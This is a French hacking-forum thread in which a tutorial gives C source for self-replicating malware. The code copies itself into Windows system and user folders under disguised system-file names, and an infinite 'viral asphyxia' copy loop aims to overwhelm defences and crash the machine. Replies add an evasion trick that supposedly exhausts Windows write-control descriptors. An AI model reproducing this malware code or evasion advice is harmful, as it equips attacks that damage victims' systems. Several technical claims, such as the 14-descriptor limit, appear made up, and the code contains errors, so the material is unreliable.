Annonce

Réduire
Aucune annonce.

Malware development/analysis : stratégie de cloning (phase 1)

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel Malware development/analysis : stratégie de cloning (phase 1)

    Bonjour à tous.

    Dans le cadre de mon boulot, nous développons, à titre d'essais/tests, différents types de malwares dans le but d'analyser leur évolution et leurs stratégies offensives. Voici un quick-tutorial présentant la méthode de cloning, c'est à dire de réplication, de phase 1 utilisée par les malwares.



    I. Introduction

    Le cloning de phase 1 désigne la méthode la plus classique ([+] rapidité / [-] efficacité) de réplication du malware au sein du système infecté. Elle consiste en la copie directe du flux binaire du malware dans un nouveau fichier binaire ; le malware se retrouve ainsi en deux copies autonomes. Le principe est donc relativement simple et passe par deux étapes : génération aléatoire d'un chemin d'infection et d'un nom, puis copie binaire du malware dans un nouveau fichier. L'intérêt de cette méthode est que dans 90% des cas, une absence de contrôle en écriture de la part du système est constatée grâce à une copie binaire directe et non asynchrone (utilisation d'un fichier temporaire de transition).



    II. Développement

    A) Génération du chemin et du nom

    Les différents chemins potentiels sont tout d'abord pré-définis dans un tableau :
    Code:
    char *paths[]= {
    getenv("APPDATA"), // récupération du chemin "%APPDATA%"
    getenv("TEMP"), // récupération du chemin TEMP, généralement C:\Users\username\AppData\Local\Temp
    getenv("WinDir"), // récupération du chemin "windows directory", généralement C:\Windows
    getenv("HOMEDRIVE"), // récupération de la partition d'installation, généralement C:
    };

    Il en va de même pour les différents noms donnés au malware après copie :
    Code:
    char *names[]= {
    "\\ws_api32.exe",
    "\\libsys.exe",
    "\\unzipper.exe",
    "\\logon.exe",
    "\\dir.exe",
    "\\sysfile.exe",
    "\\svhost.exe",
    "\\kernell32.exe",
    "\\cmd_32.exe",
    "\\svdll.exe"
    };
    L'on choisi de préférence des noms de fichiers système existant pour pouvoir injecter ensuite le malware dans un service Windows conforme.


    On choisi aléatoirement un chemin et un nom :
    Code:
    const int n_max=10, n_min=0, p_max=5, p_min=0; // p = path, n = name
    int i,j; 
    
    srand(time(NULL)); // on flush la fonction time()
    
    i=(rand()%(n_max-n_min))+n_min; // nom aléatoire
    j=(rand()%(p_max-p_min))+p_min; // chemin aléatoire
    
    strcat(paths[j],names[i]); // chaque case est définie aléatoirement, puis le chemin et le nom sont concaténés


    Voici le code entier :
    Code:
    char* name_gen()
    {
    char *paths[]= {
    getenv("APPDATA"), // récupération du chemin "%APPDATA%"
    getenv("TEMP"), // récupération du chemin TEMP, généralement C:\Users\username\AppData\Local\Temp
    getenv("WinDir"), // récupération du chemin "windows directory", généralement C:\Windows
    getenv("HOMEDRIVE"), // récupération de la partition d'installation, généralement C:
    };
    
    
    char *names[]= {
    "\\ws_api32.exe",
    "\\libsys.exe",
    "\\unzipper.exe",
    "\\logon.exe",
    "\\dir.exe",
    "\\sysfile.exe",
    "\\svhost.exe",
    "\\kernell32.exe",
    "\\cmd_32.exe",
    "\\svdll.exe"
    };
    
    
    const int n_max=10, n_min=0, p_max=5, p_min=0; // p = path, n = name
    int i,j; 
    
    srand(time(NULL)); // on flush la fonction time()
    
    i=(rand()%(n_max-n_min))+n_min; // nom aléatoire
    j=(rand()%(p_max-p_min))+p_min; // chemin aléatoire
    
    strcat(paths[j],names[i]); // chaque case est définie aléatoirement, puis le chemin et le nom sont concaténés
    
    return paths[j];
    }




    B ) Test de l'existence du fichier

    Cette fonction permet de tester l'existence d'un malware. Elle prend en argument un nom X, et tente d'ouvrir le fichier correspondant en flux binaire. Si un malware avec ce nom existe déjà, l'opération est annulée.

    Code:
    int is_file_exist(char *file_to_test)
    {
    FILE *file = NULL; // nouvel objet fichier
    
    
    file = fopen(file_to_test, "rb"); // le fichier est ouvert avec l'attribut "lecture binaire"
    if (file == NULL) // le malware n'existe pas, le processus continu
    return 0;
    else // le malware existe déjà, le processus s'arrête
    {
    fclose(file);
    return 1;
    }
    }



    C) Copie du flux binaire dans un nouveau fichier

    Code:
    void cloning(char *argv[])
    {
    if(is_file_exist(name_gen())==0) // le fichier n'existe pas
    {
    int c;
    FILE *fin, *fout;
    
    /* argv[0] contient le fichier du malware en train de se répliquer */
    fin = fopen(argv[0], "rb"); // ouverture du malware à répliquer en "lecture binaire"
    fout = fopen(name_gen(), "wb"); // ouverture d'un nouveau fichier aléatoire grâce à name_gen() et copie du flux binaire en "écriture binaire"
    
    while((c=getc(fin)) != EOF) // tant que tout n'a pas été copié
    putc(c, fout); // copie en flux binaire du malware caractère par caractère pour plus de stabilité
    fclose(fin);
    fclose(fout);
    }
    }
    Et voilà, maintenant le malware existe en deux exemplaires à des endroits différents.




    D) Asphyxie virale (optionnel)

    Cette étape optionnelle peut être déclenchée lors d'une situation jugée "urgente" par le virus. Elle consiste en une réplication anarchique du malware en un nombre infini de copies sur le système visant à saturer les méthodes de défense opérationnelle. Elle nécessite cependant une méthode de génération aléatoire beaucoup plus vaste pour éviter tout risque de collision entre fichiers déjà créés.

    Code:
    void massive_attack(char *argv[])
    {
    const int attack_running=1; 
    
    while(attack_running) // boucle infinie
    {
    if(is_file_exist(name_gen())==0)
    {
    int c;
    FILE *fin, *fout;
    
    fin = fopen(argv[0], "rb");
    fout = fopen(name_gen(), "wb");
    
    while((c=getc(fin)) != EOF)
    putc(c, fout);
    fclose(fin);
    fclose(fout);
    }
    }
    }



    Voilà le code entier de "cloning.c" pour ceux qui seraient perdus :
    Code:
    #include <windows.h>
    #include <stdio.h>
    #include <string.h>
    #include <time.h>
    
    char* name_gen()
    {
    char *paths[]= {
    getenv("APPDATA"), // récupération du chemin "%APPDATA%"
    getenv("TEMP"), // récupération du chemin TEMP, généralement C:\Users\username\AppData\Local\Temp
    getenv("WinDir"), // récupération du chemin "windows directory", généralement C:\Windows
    getenv("HOMEDRIVE"), // récupération de la partition d'installation, généralement C:
    };
    
    
    char *names[]= {
    "\\ws_api32.exe",
    "\\libsys.exe",
    "\\unzipper.exe",
    "\\logon.exe",
    "\\dir.exe",
    "\\sysfile.exe",
    "\\svhost.exe",
    "\\kernell32.exe",
    "\\cmd_32.exe",
    "\\svdll.exe"
    };
    
    
    const int n_max=10, n_min=0, p_max=5, p_min=0; // p = path, n = name
    int i,j; 
    
    srand(time(NULL)); // on flush la fonction time()
    
    i=(rand()%(n_max-n_min))+n_min; // nom aléatoire
    j=(rand()%(p_max-p_min))+p_min; // chemin aléatoire
    
    strcat(paths[j],names[i]); // chaque case est définie aléatoirement, puis le chemin et le nom sont concaténés
    
    return paths[j];
    }
    
    
    int is_file_exist(char *file_to_test)
    {
    FILE *file = NULL; // nouvel objet fichier
    
    
    file = fopen(file_to_test, "rb"); // le fichier est ouvert avec l'attribut "lecture binaire"
    if (file == NULL) // le malware n'existe pas, le processus continu
    return 0;
    else // le malware existe déjà, le processus s'arrête
    {
    fclose(file);
    return 1;
    }
    }
    
    
    
    void cloning(char *argv[])
    {
    if(is_file_exist(name_gen())==0) // le fichier n'existe pas
    {
    int c;
    FILE *fin, *fout;
    
    /* argv[0] contient le fichier du malware en train de se répliquer */
    fin = fopen(argv[0], "rb"); // ouverture du malware à répliquer en "lecture binaire"
    fout = fopen(name_gen(), "wb"); // ouverture d'un nouveau fichier aléatoire grâce à name_gen() et copie du flux binaire en "écriture binaire"
    
    while((c=getc(fin)) != EOF) // tant que tout n'a pas été copié
    putc(c, fout); // copie en flux binaire du malware caractère par caractère pour plus de stabilité
    fclose(fin);
    fclose(fout);
    }
    }


    Dernière modification par MadHatter, 02 janvier 2013, 15h12.
    Ex-membre Hackademiciens.

  • #2
    Excellent ! Seulement, sauf erreur de ma part, ce n'est pas tout à fait discret et le moindre système détection devrait le détecter non?
    Tu parles de clonage anarchique en cas de situation particulière, tu pourrais développer ou donner un exemple ?

    HS: j'vois bien le virus faire "aw fuck man, not this shit. I'mma start cloning sum es". Trop de séries ? Trop de séries.

    Commentaire


    • #3
      C'est effectivement la méthode la moins "discrète" oui, cependant sa détection n'est pas systématique. Au gré des tests effectués, l'on s'est rendu compte que la détection par le système, ici Windows, dépend fortement de sa version, des services-packs installés, des mises à jours...

      Il est intéressant de noter que pour chaque ouverture d'écriture système, Windows ouvre un descripteur de contrôle unique. Mais il ne peut ouvrir plus de 14 descripteurs de contrôle simultanés pour éviter une saturation de l'écriture système conforme. Une manière efficace de profiter de cette limitation serait, avant de lancer la copie du malware, d'ouvrir 14 fichiers quelconques en écriture partout sur le système afin de mobiliser tous les descripteurs, et ainsi d'échapper au contrôle de la réplication.

      L'asphyxie virale est déclenchée de manière autonome par le malware dans des cas bien précis, notamment quand la perte d'unité périphériques, que l'on nomme "satellites viraux" est plus importantes que la réplication. En d'autres termes, quand le nombre de malwares supprimés est plus important que le nombre de malwares répliqués. Le malware initial est appelé "Master", et enregistre dans un tableau dynamique chaque emplacement/nom des malwares répliqués. Il sait donc en permanence où sont ses clones. Quand il détecte une perte trop importante, il enclenche l'asphyxie virale, qui se traduit par une réplication en boucle menant généralement au plantage du système.
      Ex-membre Hackademiciens.

      Commentaire


      • #4
        une copie binaire directe et non asynchrone
        > J'ai du mal à bien situer ce mode de copie..(pas trouvé de doc)

        Peux tu en dire plus sur ce mode de copie par rapport au mode "classique" ?. D’après ce que j'ai compris, la copie binaire c'est copier sans prendre en compte les attributs du fichier (système de fichier, permission). C'est ça... ?

        Article très intéressant en tout cas ! Vivement la suite :-)

        Commentaire


        • #5
          @Atreide: si mes recherches et ma logique sont justes, au lieu de copier une partie du fichier dans un fichier de transition puis de copier cette partie de fichier dans le nouveau fichier, il copie l'intégralité du fichier dans un fichier temporaire puis il met tout dans le nouveau fichier. Tout est fait d'un seul coup enfaite.
          petit schéma:

          -asynchrone:
          partie de fichier -> fichier temporaire -> fichier finale
          autre partie de fichier -> fichier temporaire -> fichier finale
          et ainsi de suite jusqu'à ce que tout ai été copié.

          -synchrone:
          totalité du fichier -> fichier temporaire -> fichier finale
          tu remarqueras la rapidité par rapport à l'asynchrone.
          Are hackers a threat? The degree of threat presented by any conduct, whether legal or illegal, depends on the actions and intent of the individual and the harm they cause.
          Kevin Mitnick

          Commentaire

          Chargement...
          X